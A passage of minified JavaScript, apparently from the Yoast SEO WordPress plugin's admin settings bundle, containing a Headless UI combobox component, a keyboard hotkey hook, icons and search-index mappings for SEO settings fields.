s=e.findIndex((e=>e.id===t.id));return-1!==s&&e.splice(s,1),e}));return{...e,...s,activationTrigger:1}},5:(e,t)=>({...e,labelId:t.id})},Uo=(0,e.createContext)(null);function Vo(t){let s=(0,e.useContext)(Uo);if(null===s){let e=new Error(`<${t} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,Vo),e}return s}Uo.displayName="ComboboxActionsContext";let jo=(0,e.createContext)(null);function zo(t){let s=(0,e.useContext)(jo);if(null===s){let e=new Error(`<${t} /> is missing a parent <Combobox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(e,zo),e}return s}function qo(e,t){return ls(t.type,Bo,e,t)}jo.displayName="ComboboxDataContext";let Wo=e.Fragment,Ho=ys((function(t,s){let{value:r,defaultValue:a,onChange:o,name:n,by:i=((e,t)=>e===t),disabled:l=!1,__demoMode:c=!1,nullable:d=!1,multiple:u=!1,...p}=t,[m=(u?[]:void 0),f]=function(t,s,r){let[a,o]=(0,e.useState)(r),n=void 0!==t,i=(0,e.useRef)(n),l=(0,e.useRef)(!1),c=(0,e.useRef)(!1);return!n||i.current||l.current?!n&&i.current&&!c.current&&(c.current=!0,i.current=n,console.error("A component is changing from controlled to uncontrolled. This may be caused by the value changing from a defined value to undefined, which should not happen.")):(l.current=!0,i.current=n,console.error("A component is changing from uncontrolled to controlled. This may be caused by the value changing from undefined to a defined value, which should not happen.")),[n?t:a,Ps((e=>(n||o(e),null==s?void 0:s(e))))]}(r,o,a),[h,y]=(0,e.useReducer)(qo,{dataRef:(0,e.createRef)(),comboboxState:c?0:1,options:[],activeOptionIndex:null,activationTrigger:1,labelId:null}),_=(0,e.useRef)(!1),w=(0,e.useRef)({static:!1,hold:!1}),g=(0,e.useRef)(null),b=(0,e.useRef)(null),v=(0,e.useRef)(null),E=(0,e.useRef)(null),x=Ps("string"==typeof i?(e,t)=>{let s=i;return(null==e?void 0:e[s])===(null==t?void 0:t[s])}:i),k=(0,e.useCallback)((e=>ls(S.mode,{1:()=>m.some((t=>x(t,e))),0:()=>x(m,e)})),[m]),S=(0,e.useMemo)((()=>({...h,optionsPropsRef:w,labelRef:g,inputRef:b,buttonRef:v,optionsRef:E,value:m,defaultValue:a,disabled:l,mode:u?1:0,get activeOptionIndex(){if(_.current&&null===h.activeOptionIndex&&h.options.length>0){let e=h.options.findIndex((e=>!e.dataRef.current.disabled));if(-1!==e)return e}return h.activeOptionIndex},compare:x,isSelected:k,nullable:d,__demoMode:c})),[m,a,l,u,d,c,h]);Ls((()=>{h.dataRef.current=S}),[S]),function(t,s,r=!0){let a=(0,e.useRef)(!1);function o(e,r){if(!a.current||e.defaultPrevented)return;let o=function e(t){return"function"==typeof t?e(t()):Array.isArray(t)||t instanceof Set?t:[t]}(t),n=r(e);if(null!==n&&n.getRootNode().contains(n)){for(let t of o){if(null===t)continue;let s=t instanceof HTMLElement?t:t.current;if(null!=s&&s.contains(n)||e.composed&&e.composedPath().includes(s))return}return!function(e,t=0){var s;return e!==(null==(s=ho(e))?void 0:s.body)&&ls(t,{0:()=>e.matches(yo),1(){let t=e;for(;null!==t;){if(t.matches(yo))return!0;t=t.parentElement}return!1}})}(n,vo.Loose)&&-1!==n.tabIndex&&e.preventDefault(),s(e,n)}}(0,e.useEffect)((()=>{requestAnimationFrame((()=>{a.current=r}))}),[r]);let n=(0,e.useRef)(null);Eo("mousedown",(e=>{var t,s;a.current&&(n.current=(null==(s=null==(t=e.composedPath)?void 0:t.call(e))?void 0:s[0])||e.target)}),!0),Eo("click",(e=>{!n.current||(o(e,(()=>n.current)),n.current=null)}),!0),Eo("blur",(e=>o(e,(()=>window.document.activeElement instanceof HTMLIFrameElement?window.document.activeElement:null))),!0)}([S.buttonRef,S.inputRef,S.optionsRef],(()=>C.closeCombobox()),0===S.comboboxState);let L=(0,e.useMemo)((()=>({open:0===S.comboboxState,disabled:l,activeIndex:S.activeOptionIndex,activeOption:null===S.activeOptionIndex?null:S.options[S.activeOptionIndex].dataRef.current.value,value:m})),[S,l,m]),T=Ps((e=>{let t=S.options.find((t=>t.id===e));!t||O(t.dataRef.current.value)})),F=Ps((()=>{if(null!==S.activeOptionIndex){let{dataRef:e,id:t}=S.options[S.activeOptionIndex];O(e.current.value),C.goToOption(So.Specific,t)}})),$=Ps((()=>{y({type:0}),_.current=!0})),P=Ps((()=>{y({type:1}),_.current=!1})),R=Ps(((e,t,s)=>(_.current=!1,e===So.Specific?y({type:2,focus:So.Specific,id:t,trigger:s}):y({type:2,focus:e,trigger:s})))),N=Ps(((e,t)=>(y({type:3,id:e,dataRef:t}),()=>y({type:4,id:e})))),I=Ps((e=>(y({type:5,id:e}),()=>y({type:5,id:null})))),O=Ps((e=>ls(S.mode,{0:()=>null==f?void 0:f(e),1(){let t=S.value.slice(),s=t.findIndex((t=>x(t,e)));return-1===s?t.push(e):t.splice(s,1),null==f?void 0:f(t)}}))),C=(0,e.useMemo)((()=>({onChange:O,registerOption:N,registerLabel:I,goToOption:R,closeCombobox:P,openCombobox:$,selectActiveOption:F,selectOption:T})),[]),A=null===s?{}:{ref:s},M=(0,e.useRef)(null),D=As();return(0,e.useEffect)((()=>{!M.current||void 0!==a&&D.addEventListener(M.current,"reset",(()=>{O(a)}))}),[M,O]),e.createElement(Uo.Provider,{value:C},e.createElement(jo.Provider,{value:S},e.createElement(Es,{value:ls(S.comboboxState,{0:bs.Open,1:bs.Closed})},null!=n&&null!=m&&Lo({[n]:m}).map((([t,s],r)=>e.createElement(Po,{features:$o.Hidden,ref:0===r?e=>{var t;M.current=null!=(t=null==e?void 0:e.closest("form"))?t:null}:void 0,..._s({key:t,as:"input",type:"hidden",hidden:!0,readOnly:!0,name:t,value:s})}))),ms({ourProps:A,theirProps:p,slot:L,defaultTag:Wo,name:"Combobox"}))))})),Yo=ys((function(t,s){var r,a,o,n;let i=fo(),{id:l=`headlessui-combobox-input-${i}`,onChange:c,displayValue:d,type:u="text",...p}=t,m=zo("Combobox.Input"),f=Vo("Combobox.Input"),h=Ns(m.inputRef,s),y=(0,e.useRef)(!1),_=As();var w;No((([e,t],[s,r])=>{y.current||!m.inputRef.current||(0===r&&1===t||e!==s)&&(m.inputRef.current.value=e)}),["function"==typeof d&&void 0!==m.value?null!=(w=d(m.value))?w:"":"string"==typeof m.value?m.value:"",m.comboboxState]),No((([e],[t])=>{if(0===e&&1===t){let e=m.inputRef.current;if(!e)return;let t=e.value,{selectionStart:s,selectionEnd:r,selectionDirection:a}=e;e.value="",e.value=t,null!==a?e.setSelectionRange(s,r,a):e.setSelectionRange(s,r)}}),[m.comboboxState]);let g=(0,e.useRef)(!1),b=Ps((()=>{g.current=!0})),v=Ps((()=>{setTimeout((()=>{g.current=!1}))})),E=Ps((e=>{switch(y.current=!0,e.key){case Ro.Backspace:case Ro.Delete:if(0!==m.mode||!m.nullable)return;let t=e.currentTarget;_.requestAnimationFrame((()=>{""===t.value&&(f.onChange(null),m.optionsRef.current&&(m.optionsRef.current.scrollTop=0),f.goToOption(So.Nothing))}));break;case Ro.Enter:if(y.current=!1,0!==m.comboboxState||g.current)return;if(e.preventDefault(),e.stopPropagation(),null===m.activeOptionIndex)return void f.closeCombobox();f.selectActiveOption(),0===m.mode&&f.closeCombobox();break;case Ro.ArrowDown:return y.current=!1,e.preventDefault(),e.stopPropagation(),ls(m.comboboxState,{0:()=>{f.goToOption(So.Next)},1:()=>{f.openCombobox()}});case Ro.ArrowUp:return y.current=!1,e.preventDefault(),e.stopPropagation(),ls(m.comboboxState,{0:()=>{f.goToOption(So.Previous)},1:()=>{f.openCombobox(),_.nextFrame((()=>{m.value||f.goToOption(So.Last)}))}});case Ro.Home:if(e.shiftKey)break;return y.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(So.First);case Ro.PageUp:return y.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(So.First);case Ro.End:if(e.shiftKey)break;return y.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(So.Last);case Ro.PageDown:return y.current=!1,e.preventDefault(),e.stopPropagation(),f.goToOption(So.Last);case Ro.Escape:return y.current=!1,0!==m.comboboxState?void 0:(e.preventDefault(),m.optionsRef.current&&!m.optionsPropsRef.current.static&&e.stopPropagation(),f.closeCombobox());case Ro.Tab:if(y.current=!1,0!==m.comboboxState)return;0===m.mode&&f.selectActiveOption(),f.closeCombobox()}})),x=Ps((e=>{f.openCombobox(),null==c||c(e)})),k=Ps((()=>{y.current=!1})),S=po((()=>{if(m.labelId)return[m.labelId].join(" ")}),[m.labelId]),L=(0,e.useMemo)((()=>({open:0===m.comboboxState,disabled:m.disabled})),[m]);return ms({ourProps:{ref:h,id:l,role:"combobox",type:u,"aria-controls":null==(r=m.optionsRef.current)?void 0:r.id,"aria-expanded":m.disabled?void 0:0===m.comboboxState,"aria-activedescendant":null===m.activeOptionIndex||null==(a=m.options[m.activeOptionIndex])?void 0:a.id,"aria-multiselectable":1===m.mode||void 0,"aria-labelledby":S,"aria-autocomplete":"list",defaultValue:null!=(n=null!=(o=t.defaultValue)?o:void 0!==m.defaultValue?null==d?void 0:d(m.defaultValue):null)?n:m.defaultValue,disabled:m.disabled,onCompositionStart:b,onCompositionEnd:v,onKeyDown:E,onChange:x,onBlur:k},theirProps:p,slot:L,defaultTag:"input",name:"Combobox.Input"})})),Go=ys((function(t,s){var r;let a=zo("Combobox.Button"),o=Vo("Combobox.Button"),n=Ns(a.buttonRef,s),i=fo(),{id:l=`headlessui-combobox-button-${i}`,...c}=t,d=As(),u=Ps((e=>{switch(e.key){case Ro.ArrowDown:return e.preventDefault(),e.stopPropagation(),1===a.comboboxState&&o.openCombobox(),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case Ro.ArrowUp:return e.preventDefault(),e.stopPropagation(),1===a.comboboxState&&(o.openCombobox(),d.nextFrame((()=>{a.value||o.goToOption(So.Last)}))),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}));case Ro.Escape:return 0!==a.comboboxState?void 0:(e.preventDefault(),a.optionsRef.current&&!a.optionsPropsRef.current.static&&e.stopPropagation(),o.closeCombobox(),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})})));default:return}})),p=Ps((e=>{if(function(e){let t=e.parentElement,s=null;for(;t&&!(t instanceof HTMLFieldSetElement);)t instanceof HTMLLegendElement&&(s=t),t=t.parentElement;let r=""===(null==t?void 0:t.getAttribute("disabled"));return(!r||!function(e){if(!e)return!1;let t=e.previousElementSibling;for(;null!==t;){if(t instanceof HTMLLegendElement)return!1;t=t.previousElementSibling}return!0}(s))&&r}(e.currentTarget))return e.preventDefault();0===a.comboboxState?o.closeCombobox():(e.preventDefault(),o.openCombobox()),d.nextFrame((()=>{var e;return null==(e=a.inputRef.current)?void 0:e.focus({preventScroll:!0})}))})),m=po((()=>{if(a.labelId)return[a.labelId,l].join(" ")}),[a.labelId,l]),f=(0,e.useMemo)((()=>({open:0===a.comboboxState,disabled:a.disabled,value:a.value})),[a]);return ms({ourProps:{ref:n,id:l,type:ko(t,a.buttonRef),tabIndex:-1,"aria-haspopup":"listbox","aria-controls":null==(r=a.optionsRef.current)?void 0:r.id,"aria-expanded":a.disabled?void 0:0===a.comboboxState,"aria-labelledby":m,disabled:a.disabled,onClick:p,onKeyDown:u},theirProps:c,slot:f,defaultTag:"button",name:"Combobox.Button"})})),Ko=ys((function(t,s){let r=fo(),{id:a=`headlessui-combobox-label-${r}`,...o}=t,n=zo("Combobox.Label"),i=Vo("Combobox.Label"),l=Ns(n.labelRef,s);Ls((()=>i.registerLabel(a)),[a]);let c=Ps((()=>{var e;return null==(e=n.inputRef.current)?void 0:e.focus({preventScroll:!0})})),d=(0,e.useMemo)((()=>({open:0===n.comboboxState,disabled:n.disabled})),[n]);return ms({ourProps:{ref:l,id:a,onClick:c},theirProps:o,slot:d,defaultTag:"label",name:"Combobox.Label"})})),Zo=us.RenderStrategy|us.Static,Jo=ys((function(t,s){let r=fo(),{id:a=`headlessui-combobox-options-${r}`,hold:o=!1,...n}=t,i=zo("Combobox.Options"),l=Ns(i.optionsRef,s),c=vs(),d=null!==c?c===bs.Open:0===i.comboboxState;Ls((()=>{var e;i.optionsPropsRef.current.static=null!=(e=t.static)&&e}),[i.optionsPropsRef,t.static]),Ls((()=>{i.optionsPropsRef.current.hold=o}),[i.optionsPropsRef,o]),function({container:t,accept:s,walk:r,enabled:a=!0}){let o=(0,e.useRef)(s),n=(0,e.useRef)(r);(0,e.useEffect)((()=>{o.current=s,n.current=r}),[s,r]),Ls((()=>{if(!t||!a)return;let e=ho(t);if(!e)return;let s=o.current,r=n.current,i=Object.assign((e=>s(e)),{acceptNode:s}),l=e.createTreeWalker(t,NodeFilter.SHOW_ELEMENT,i,!1);for(;l.nextNode();)r(l.currentNode)}),[t,a,o,n])}({container:i.optionsRef.current,enabled:0===i.comboboxState,accept:e=>"option"===e.getAttribute("role")?NodeFilter.FILTER_REJECT:e.hasAttribute("role")?NodeFilter.FILTER_SKIP:NodeFilter.FILTER_ACCEPT,walk(e){e.setAttribute("role","none")}});let u=po((()=>{var e,t;return null!=(t=i.labelId)?t:null==(e=i.buttonRef.current)?void 0:e.id}),[i.labelId,i.buttonRef.current]);return ms({ourProps:{"aria-labelledby":u,role:"listbox",id:a,ref:l},theirProps:n,slot:(0,e.useMemo)((()=>({open:0===i.comboboxState})),[i]),defaultTag:"ul",features:Zo,visible:d,name:"Combobox.Options"})})),Qo=ys((function(t,s){var r,a;let o=fo(),{id:n=`headlessui-combobox-option-${o}`,disabled:i=!1,value:l,...c}=t,d=zo("Combobox.Option"),u=Vo("Combobox.Option"),p=null!==d.activeOptionIndex&&d.options[d.activeOptionIndex].id===n,m=d.isSelected(l),f=(0,e.useRef)(null),h=Fs({disabled:i,value:l,domRef:f,textValue:null==(a=null==(r=f.current)?void 0:r.textContent)?void 0:a.toLowerCase()}),y=Ns(s,f),_=Ps((()=>u.selectOption(n)));Ls((()=>u.registerOption(n,h)),[h,n]);let w=(0,e.useRef)(!d.__demoMode);Ls((()=>{if(!d.__demoMode)return;let e=Is();return e.requestAnimationFrame((()=>{w.current=!0})),e.dispose}),[]),Ls((()=>{if(0!==d.comboboxState||!p||!w.current||0===d.activationTrigger)return;let e=Is();return e.requestAnimationFrame((()=>{var e,t;null==(t=null==(e=f.current)?void 0:e.scrollIntoView)||t.call(e,{block:"nearest"})})),e.dispose}),[f,p,d.comboboxState,d.activationTrigger,d.activeOptionIndex]);let g=Ps((e=>{if(i)return e.preventDefault();_(),0===d.mode&&u.closeCombobox()})),b=Ps((()=>{if(i)return u.goToOption(So.Nothing);u.goToOption(So.Specific,n)})),v=function(){let t=(0,e.useRef)([-1,-1]);return{wasMoved(e){let s=Io(e);return(t.current[0]!==s[0]||t.current[1]!==s[1])&&(t.current=s,!0)},update(e){t.current=Io(e)}}}(),E=Ps((e=>v.update(e))),x=Ps((e=>{!v.wasMoved(e)||i||p||u.goToOption(So.Specific,n,0)})),k=Ps((e=>{!v.wasMoved(e)||i||!p||d.optionsPropsRef.current.hold||u.goToOption(So.Nothing)})),S=(0,e.useMemo)((()=>({active:p,selected:m,disabled:i})),[p,m,i]);return ms({ourProps:{id:n,ref:y,role:"option",tabIndex:!0===i?void 0:-1,"aria-disabled":!0===i||void 0,"aria-selected":m,disabled:void 0,onClick:g,onFocus:b,onPointerEnter:E,onMouseEnter:E,onPointerMove:x,onMouseMove:x,onPointerLeave:k,onMouseLeave:k},theirProps:c,slot:S,defaultTag:"li",name:"Combobox.Option"})})),Xo=Object.assign(Ho,{Input:Yo,Button:Go,Label:Ko,Options:Jo,Option:Qo});const en=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"}))})),tn=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"}))}));function sn(){return sn=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},sn.apply(this,arguments)}function rn(e,t){(null==t||t>e.length)&&(t=e.length);for(var s=0,r=new Array(t);s<t;s++)r[s]=e[s];return r}s(5893);var an=["shift","alt","meta","mod"],on={esc:"escape",return:"enter",left:"arrowleft",up:"arrowup",right:"arrowright",down:"arrowdown",1:"digit1",2:"digit2",3:"digit3",4:"digit4",5:"digit5",6:"digit6",7:"digit7",8:"digit8",9:"digit9"};function nn(e,t){return void 0===t&&(t=","),"string"==typeof e?e.split(t):e}function ln(e,t){void 0===t&&(t="+");var s=e.toLocaleLowerCase().split(t).map((function(e){return e.trim()})).map((function(e){return on[e]||e}));return sn({},{alt:s.includes("alt"),shift:s.includes("shift"),meta:s.includes("meta"),mod:s.includes("mod")},{keys:s.filter((function(e){return!an.includes(e)}))})}function cn(e,t){var s=e.target;void 0===t&&(t=!1);var r=s&&s.tagName;return t instanceof Array?Boolean(r&&t&&t.some((function(e){return e.toLowerCase()===r.toLowerCase()}))):Boolean(r&&t&&!0===t)}var dn=(0,e.createContext)(void 0),un=(0,e.createContext)({hotkeys:[],enabledScopes:[],toggleScope:function(){},enableScope:function(){},disableScope:function(){}});function pn(e,t){return e&&t&&"object"==typeof e&&"object"==typeof t?Object.keys(e).length===Object.keys(t).length&&Object.keys(e).reduce((function(s,r){return s&&pn(e[r],t[r])}),!0):e===t}var mn=function(e){e.stopPropagation(),e.preventDefault(),e.stopImmediatePropagation()},fn="undefined"!=typeof window?e.useLayoutEffect:e.useEffect,hn=new Set;function yn(t,s,r,a){var o=(0,e.useRef)(null),n=r instanceof Array?a instanceof Array?void 0:a:r,i=r instanceof Array?r:a instanceof Array?a:[],l=(0,e.useCallback)(s,[].concat(i)),c=function(t){var s=(0,e.useRef)(void 0);return pn(s.current,t)||(s.current=t),s.current}(n),d=(0,e.useContext)(un).enabledScopes,u=(0,e.useContext)(dn);return fn((function(){if(!1!==(null==c?void 0:c.enabled)&&(e=d,s=null==c?void 0:c.scopes,0===e.length&&s?(console.warn('A hotkey has the "scopes" option set, however no active scopes were found. If you want to use the global scopes feature, you need to wrap your app in a <HotkeysProvider>'),1):!s||e.some((function(e){return s.includes(e)}))||e.includes("*"))){var e,s,r=function(e){var s;cn(e,["input","textarea","select"])&&!cn(e,null==c?void 0:c.enableOnFormTags)||(null===o.current||document.activeElement===o.current||o.current.contains(document.activeElement)?(null==(s=e.target)||!s.isContentEditable||null!=c&&c.enableOnContentEditable)&&nn(t,null==c?void 0:c.splitKey).forEach((function(t){var s,r=ln(t,null==c?void 0:c.combinationKey);if(function(e,t,s){var r=t.alt,a=t.meta,o=t.mod,n=t.shift,i=t.keys,l=e.altKey,c=e.ctrlKey,d=e.metaKey,u=e.shiftKey,p=e.key,m=e.code.toLowerCase().replace("key",""),f=p.toLowerCase();if(l!==r&&"alt"!==f)return!1;if(u!==n&&"shift"!==f)return!1;if(o){if(!d&&!c)return!1}else if(d!==a&&c!==a&&"meta"!==m&&"ctrl"!==m)return!1;return!(!i||1!==i.length||!i.includes(f)&&!i.includes(m))||(i?i.every((function(e){return s.has(e)})):!i)}(e,r,hn)||null!=(s=r.keys)&&s.includes("*")){if(function(e,t,s){("function"==typeof s&&s(e,t)||!0===s)&&e.preventDefault()}(e,r,null==c?void 0:c.preventDefault),!function(e,t,s){return"function"==typeof s?s(e,t):!0===s||void 0===s}(e,r,null==c?void 0:c.enabled))return void mn(e);l(e,r)}})):mn(e))},a=function(e){void 0!==e.key&&(hn.add(e.key.toLowerCase()),(void 0===(null==c?void 0:c.keydown)&&!0!==(null==c?void 0:c.keyup)||null!=c&&c.keydown)&&r(e))},n=function(e){void 0!==e.key&&("meta"!==e.key.toLowerCase()?hn.delete(e.key.toLowerCase()):hn.clear(),null!=c&&c.keyup&&r(e))};return(o.current||document).addEventListener("keyup",n),(o.current||document).addEventListener("keydown",a),u&&nn(t,null==c?void 0:c.splitKey).forEach((function(e){return u.addHotkey(ln(e,null==c?void 0:c.combinationKey))})),function(){(o.current||document).removeEventListener("keyup",n),(o.current||document).removeEventListener("keydown",a),u&&nn(t,null==c?void 0:c.splitKey).forEach((function(e){return u.removeHotkey(ln(e,null==c?void 0:c.combinationKey))}))}}}),[t,l,c,d]),o}var wn=new Set;"undefined"!=typeof window&&window.addEventListener("DOMContentLoaded",(function(){document.addEventListener("keydown",(function(e){var t;void 0!==e.key&&(t=e.key,(Array.isArray(t)?t:[t]).forEach((function(e){return wn.add(ln(e))})))})),document.addEventListener("keyup",(function(e){var t;void 0!==e.key&&(t=e.key,(Array.isArray(t)?t:[t]).forEach((function(e){for(var t,s=ln(e),r=function(e,t){var s="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(s)return(s=s.call(e)).next.bind(s);if(Array.isArray(e)||(s=function(e,t){if(e){if("string"==typeof e)return rn(e,t);var s=Object.prototype.toString.call(e).slice(8,-1);return"Object"===s&&e.constructor&&(s=e.constructor.name),"Map"===s||"Set"===s?Array.from(e):"Arguments"===s||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(s)?rn(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){s&&(e=s);var r=0;return function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}(wn);!(t=r()).done;){var a,o=t.value;null!=(a=o.keys)&&a.every((function(e){var t;return null==(t=s.keys)?void 0:t.includes(e)}))&&wn.delete(o)}})))}))}));const gn=(e,t)=>{try{return e.toLocaleLowerCase(t)}catch(t){return console.error(t.message),e}},bn=({name:e,label:t,route:s,hasArchive:r},{userLocale:a})=>({[`title-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-title-${e}`,fieldLabel:(0,Lt.__)("SEO title","wordpress-seo"),keywords:[]},[`metadesc-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-metadesc-${e}`,fieldLabel:(0,Lt.__)("Meta description","wordpress-seo"),keywords:[]},[`noindex-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-noindex-${e}`,fieldLabel:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. Posts.
(0,Lt.__)("Show %1$s in search results","wordpress-seo"),gn(t,a)),keywords:[]},[`display-metabox-pt-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-display-metabox-pt-${e}`,fieldLabel:(0,Lt.__)("Enable SEO controls and assessments","wordpress-seo"),keywords:[]},[`schema-page-type-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-schema-page-type-${e}`,fieldLabel:(0,Lt.__)("Page type","wordpress-seo"),keywords:[(0,Lt.__)("Schema","wordpress-seo"),(0,Lt.__)("Structured data","wordpress-seo")]},[`schema-article-type-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-schema-article-type-${e}`,fieldLabel:(0,Lt.__)("Article type","wordpress-seo"),keywords:[(0,Lt.__)("Schema","wordpress-seo"),(0,Lt.__)("Structured data","wordpress-seo")]},[`page-analyse-extra-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-page-analyse-extra-${e}`,fieldLabel:(0,Lt.__)("Add custom fields to page analysis","wordpress-seo"),keywords:[]},..."attachment"!==e&&{[`social-title-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-social-title-${e}`,fieldLabel:(0,Lt.__)("Social title","wordpress-seo"),keywords:[]},[`social-description-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-social-description-${e}`,fieldLabel:(0,Lt.__)("Social description","wordpress-seo"),keywords:[]},[`social-image-id-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`button-wpseo_titles-social-image-${e}-preview`,fieldLabel:(0,Lt.__)("Social image","wordpress-seo"),keywords:[]}},...r&&{[`title-ptarchive-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-title-ptarchive-${e}`,fieldLabel:(0,Lt.__)("Archive SEO title","wordpress-seo"),keywords:[]},[`metadesc-ptarchive-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-metadesc-ptarchive-${e}`,fieldLabel:(0,Lt.__)("Archive meta description","wordpress-seo"),keywords:[]},[`bctitle-ptarchive-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-bctitle-ptarchive-${e}`,fieldLabel:(0,Lt.__)("Archive breadcrumbs title","wordpress-seo"),keywords:[]},[`noindex-ptarchive-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-noindex-ptarchive-${e}`,fieldLabel:(0,Lt.sprintf)(
// translators: %1$s expands to the post type plural, e.g. Posts.
(0,Lt.__)("Show the archive for %1$s in search results","wordpress-seo"),gn(t,a)),keywords:[]},[`social-title-ptarchive-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-social-title-ptarchive-${e}`,fieldLabel:(0,Lt.__)("Archive social title","wordpress-seo"),keywords:[]},[`social-description-ptarchive-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-social-description-ptarchive-${e}`,fieldLabel:(0,Lt.__)("Archive social description","wordpress-seo"),keywords:[]},[`social-image-id-ptarchive-${e}`]:{route:`/post-type/${s}`,routeLabel:t,fieldId:`button-wpseo_titles-social-image-ptarchive-${e}-preview`,fieldLabel:(0,Lt.__)("Archive social image","wordpress-seo"),keywords:[]}}}),vn=({name:e,label:t,route:s},{userLocale:r})=>({[`title-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-title-tax-${e}`,fieldLabel:(0,Lt.__)("SEO title","wordpress-seo"),keywords:[]},[`metadesc-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-metadesc-tax-${e}`,fieldLabel:(0,Lt.__)("Meta description","wordpress-seo"),keywords:[]},[`display-metabox-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-display-metabox-tax-${e}`,fieldLabel:(0,Lt.sprintf)(/* translators: %1$s expands to "Yoast SEO". %2$s expands to the taxonomy plural, e.g. Categories. */
(0,Lt.__)("Enable %1$s for %2$s","wordpress-seo"),"Yoast SEO",gn(t,r)),keywords:[]},[`display-metabox-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-display-metabox-tax-${e}`,fieldLabel:(0,Lt.__)("Enable SEO controls and assessments","wordpress-seo"),keywords:[]},[`noindex-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-noindex-tax-${e}`,fieldLabel:(0,Lt.sprintf)(
// translators: %1$s expands to the taxonomy plural, e.g. Categories.
(0,Lt.__)("Show %1$s in search results","wordpress-seo"),gn(t,r)),keywords:[]},[`social-title-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-social-title-tax-${e}`,fieldLabel:(0,Lt.__)("Social title","wordpress-seo"),keywords:[]},[`social-description-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`input-wpseo_titles-social-description-tax-${e}`,fieldLabel:(0,Lt.__)("Social description","wordpress-seo"),keywords:[]},[`social-image-id-tax-${e}`]:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:`button-wpseo_titles-social-image-tax-${e}-preview`,fieldLabel:(0,Lt.__)("Social image","wordpress-seo"),keywords:[]},..."category"===e&&{stripcategorybase:{route:`/taxonomy/${s}`,routeLabel:t,fieldId:"input-wpseo_titles-stripcategorybase",fieldLabel:(0,Lt.__)("Show the categories prefix in the slug","wordpress-seo"),keywords:[]}}}),En=(e,t,{userLocale:s}={})=>({blogdescription:{route:"/site-basics",routeLabel:(0,Lt.__)("Site basics","wordpress-seo"),fieldId:"input-blogdescription",fieldLabel:(0,Lt.__)("Tagline","wordpress-seo"),keywords:[]},wpseo:{keyword_analysis_active:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-keyword_analysis_active",fieldLabel:(0,Lt.__)("SEO analysis","wordpress-seo"),keywords:[]},content_analysis_active:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-content_analysis_active",fieldLabel:(0,Lt.__)("Readability analysis","wordpress-seo"),keywords:[]},inclusive_language_analysis_active:{route:"/site-features",routeLabel:(0,Lt.__)("Site features","wordpress-seo"),fieldId:"card-wpseo-inclusive_language_analysis_active",fieldLabel:(0,Lt.__)("Inclusive language analysis","wordpress-seo"),keywords:[]},enable_metabox_insights:{route:"/site-features",routeLabel:(0,Lt.__)("Site 